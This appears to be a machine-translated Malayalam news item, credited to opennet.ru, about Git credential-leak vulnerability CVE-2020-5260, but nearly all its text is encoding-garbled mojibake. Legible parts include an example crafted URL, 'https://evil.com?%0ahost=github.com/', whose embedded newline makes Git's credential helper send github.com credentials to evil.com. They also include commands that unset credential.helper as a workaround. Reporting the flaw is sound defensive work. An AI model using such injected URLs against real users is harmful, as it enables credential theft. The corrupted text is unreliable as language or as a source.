Git เด•เตเดฐเต†เดกเตปเดทเตเดฏเตฝ เดšเต‹เตผเดšเตเดš เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค

เดชเตเดฐเดธเดฟเดฆเตเดงเต€เด•เดฐเดฟเดšเตเดšเต เดตเดฟเดคเดฐเดฃเด‚ เดšเต†เดฏเตเดค เดธเต‹เดดเตเดธเต เด•เตบเดŸเตเดฐเต‹เตพ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตปเตเดฑเต† เดคเดฟเดฐเตเดคเตเดคเตฝ เดฑเดฟเดฒเต€เดธเตเด•เตพ เด‡เดฒเตเดฒเดพเดคเดพเด•เตเด•เดฟเดฏเดคเต เดฆเตเตผเดฌเดฒเดค (CVE-2020-5260) เดนเดพเตปเดกเตเดฒเดฑเดฟเตฝ "เด•เตเดฐเต†เดกเตปเดทเตเดฏเตฝ.เดธเดนเดพเดฏเดฟ", เด’เดฐเต เดชเตเดคเดฟเดฏ เดฒเตˆเตป เดชเตเดฐเดคเต€เด•เด‚ เด…เดŸเด™เตเด™เดฟเดฏ เดชเตเดฐเดคเตเดฏเต‡เด•เด‚ เดซเต‹เตผเดฎเดพเดฑเตเดฑเต เดšเต†เดฏเตโ€Œเดค URL เด‰เดชเดฏเต‹เด—เดฟเดšเตเดšเต เด’เดฐเต git เด•เตเดฒเดฏเตปเตเดฑเต เด’เดฐเต เดถเต‡เด–เดฐเด‚ เด†เด•เตโ€Œเดธเดธเต เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ เดคเต†เดฑเตเดฑเดพเดฏ เดนเต‹เดธเตเดฑเตเดฑเดฟเดฒเต‡เด•เตเด•เต เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เด…เดฏเดฏเตโ€Œเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด•เดพเดฐเดฃเดฎเดพเด•เตเดจเตเดจเต. เดฎเดฑเตเดฑเตŠเดฐเต เดนเต‹เดธเตเดฑเตเดฑเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด•เตเดฐเต†เดกเตปเดทเตเดฏเดฒเตเด•เตพ เด†เด•เตเดฐเดฎเดฃเด•เดพเดฐเดฟ เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดค เดธเต†เตผเดตเดฑเดฟเดฒเต‡เด•เตเด•เต เด…เดฏเดฏเตโ€Œเด•เตเด•เดพเตป เด•เตเดฐเดฎเต€เด•เดฐเดฟเด•เตเด•เดพเตป เดˆ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเด‚.

โ€œhttps://evil.com?%0ahost=github.com/โ€ เดชเต‹เดฒเตเดณเตเดณ เด’เดฐเต URL เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เตเดฎเตเดชเต‹เตพ, เดนเต‹เดธเตเดฑเตเดฑเต evil.com-เดฒเต‡เด•เตเด•เต เด•เดฃเด•เตโ€Œเดฑเตเดฑเต เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ เด•เตเดฐเต†เดกเตปเดทเตเดฏเตฝ เดนเดพเตปเดกเตโ€Œเดฒเตผ github.com-เดจเดพเดฏเดฟ เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เดฟเดฏ เดชเตเดฐเดพเดฎเดพเดฃเต€เด•เดฐเดฃ เดชเดพเดฐเดพเดฎเต€เดฑเตเดฑเดฑเตเด•เตพ เด•เตˆเดฎเดพเดฑเตเด‚. เดธเดฌเตโ€Œเดฎเต‹เดกเตเดฏเต‚เดณเตเด•เตพเด•เตเด•เดพเดฏเตเดณเตเดณ เดชเตเดฐเต‹เดธเดธเตเดธเดฟเด‚เด—เต URL-เด•เตพ เด‰เตพเดชเตเดชเต†เดŸเต†, "git clone" เดชเต‹เดฒเตเดณเตเดณ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดจเดŸเดคเตเดคเตเดฎเตเดชเต‹เดดเดพเดฃเต เดชเตเดฐเดถเตเดจเด‚ เดธเด‚เดญเดตเดฟเด•เตเด•เตเดจเตเดจเดคเต (เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, "git submodule update" เดฑเดฟเดชเตเดชเต‹เดธเดฟเดฑเตเดฑเดฑเดฟเดฏเดฟเตฝ เดจเดฟเดจเตเดจเต .gitmodules เดซเดฏเดฒเดฟเตฝ เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เดฟเดฏ URL-เด•เตพ เดธเตเดตเดฏเดฎเต‡เดต เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเตเด‚). เด’เดฐเต เดกเต†เดตเดฒเดชเตเดชเตผ URL เด•เดพเดฃเดพเดคเต† เด’เดฐเต เดถเต‡เด–เดฐเด‚ เด•เตเดฒเต‹เตบ เดšเต†เดฏเตเดฏเตเดจเตเดจ เดธเดพเดนเดšเดฐเตเดฏเด™เตเด™เดณเดฟเตฝ, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดธเดฌเตโ€Œเดฎเต‹เดกเตเดฏเต‚เดณเตเด•เดณเดฟเตฝ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดฏเดพเดจเตเดคเตเดฐเดฟเด• เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เตพ เดจเดŸเดคเตเดคเตเดจเตเดจ เดธเดฟเดธเตเดฑเตเดฑเด™เตเด™เดณเดฟเตฝ, เด‰เดฆเดพเดนเดฐเดฃเดคเตเดคเดฟเดจเต, เดชเดพเด•เตเด•เต‡เดœเต เดฌเดฟเตฝเดกเต เดธเตโ€Œเด•เตเดฐเดฟเดชเตโ€Œเดฑเตเดฑเตเด•เดณเดฟเตฝ เดˆ เด…เดชเด•เดŸเดธเดพเดงเตเดฏเดค เดเดฑเตเดฑเดตเตเด‚ เด…เดชเด•เดŸเด•เดฐเดฎเดพเดฃเต.

เดชเตเดคเดฟเดฏ เดชเดคเดฟเดชเตเดชเตเด•เดณเดฟเดฒเต† เด•เต‡เดŸเตเดชเดพเดŸเตเด•เตพ เดคเดŸเดฏเดพเตป เดจเดฟเดฐเต‹เดงเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต เด•เตเดฐเต†เดกเตปเดทเตเดฏเตฝ เดŽเด•เตเดธเตเดšเต‡เดžเตเดšเต เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เตพ เดตเดดเดฟ เด•เตˆเดฎเดพเดฑเตเดจเตเดจ เดเดคเต†เด™เตเด•เดฟเดฒเตเด‚ เดฎเต‚เดฒเตเดฏเด™เตเด™เดณเดฟเตฝ เด’เดฐเต เดชเตเดคเดฟเดฏ เดฒเตˆเตป เดชเตเดฐเดคเต€เด•เด‚ เด•เตˆเดฎเดพเดฑเตเดจเตเดจเต. เดตเดฟเดคเดฐเดฃเด™เตเด™เตพเด•เตเด•เดพเดฏเดฟ, เดชเต‡เดœเตเด•เดณเดฟเดฒเต† เดชเดพเด•เตเด•เต‡เดœเต เด…เดชเตโ€Œเดกเต‡เดฑเตเดฑเตเด•เดณเตเดŸเต† เดฑเดฟเดฒเต€เดธเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดŸเตเดฐเดพเด•เตเด•เต เดšเต†เดฏเตเดฏเดพเด‚ เดกเต†เดฌเดฟเดฏเตป, เด‰เดฌเตเดฃเตเดŸเต, เด†เตผเดŽเตฝเด‡เดŽเตฝ, SUSE/openSUSE, เดซเต†เดกเต‹เดฑ, เดตเดณเดตเต, เดซเตเดฐเต€เดฌเดฟเดŽเดธเต เดกเดฟ.

เดชเตเดฐเดถเตเดจเด‚ เดคเดŸเดฏเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เด’เดฐเต เดชเดฐเดฟเดนเดพเดฐเดฎเดพเดฏเดฟ เดถเตเดชเดพเตผเดถเดšเต†เดฏเตเดฏเตเดจเตเดจเต เดชเดฌเตเดฒเดฟเด•เต เดฑเดฟเดชเตเดชเต‹เดธเดฟเดฑเตเดฑเดฑเดฟเด•เตพ เด†เด•เตเดธเดธเต เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ credential.helper เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดฐเตเดคเต เด•เต‚เดŸเดพเดคเต† เดšเต†เด•เตเด•เต เดšเต†เดฏเตเดฏเดพเดคเตเดค เดฑเดฟเดชเตเดชเต‹เดธเดฟเดฑเตเดฑเดฑเดฟเด•เดณเตเดณเตเดณ "--recurse-submodules" เดฎเต‹เดกเดฟเตฝ "git clone" เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดฐเตเดคเต. เด•เตเดฐเต†เดกเตปเดทเตเดฏเตฝ.เดนเต†เตฝเดชเตเดชเตผ เดนเดพเตปเดกเตโ€Œเดฒเตผ เดชเต‚เตผเดฃเตเดฃเดฎเดพเดฏเตเด‚ เดชเตเดฐเดตเตผเดคเตเดคเดจเดฐเดนเดฟเดคเดฎเดพเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดธเด‚เดฐเด•เตเดทเดฃเด‚ เด•เต‚เดŸเดพเดคเต† เดชเดพเดธเตโ€Œเดตเต‡เดกเตเด•เตพ เดตเต€เดฃเตเดŸเต†เดŸเตเด•เตเด•เตเดจเตเดจเต เด•เดพเดทเต†, เดธเด‚เดฐเด•เตเดทเดฟเดค เดถเต‡เด–เดฐเด™เตเด™เตพ เด…เดฒเตเดฒเต†เด™เตเด•เดฟเตฝ เดชเดพเดธเตโ€Œเดตเต‡เดกเตเด•เดณเตเดณเตเดณ เด’เดฐเต เดซเดฏเตฝ, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เดฎเดพเตปเดกเตเด•เตพ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เดพเด‚:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

เด…เดตเดฒเด‚เดฌเด‚: opennet.ru

เด’เดฐเต เด…เดญเดฟเดชเตเดฐเดพเดฏเด‚ เดšเต‡เตผเด•เตเด•เตเด•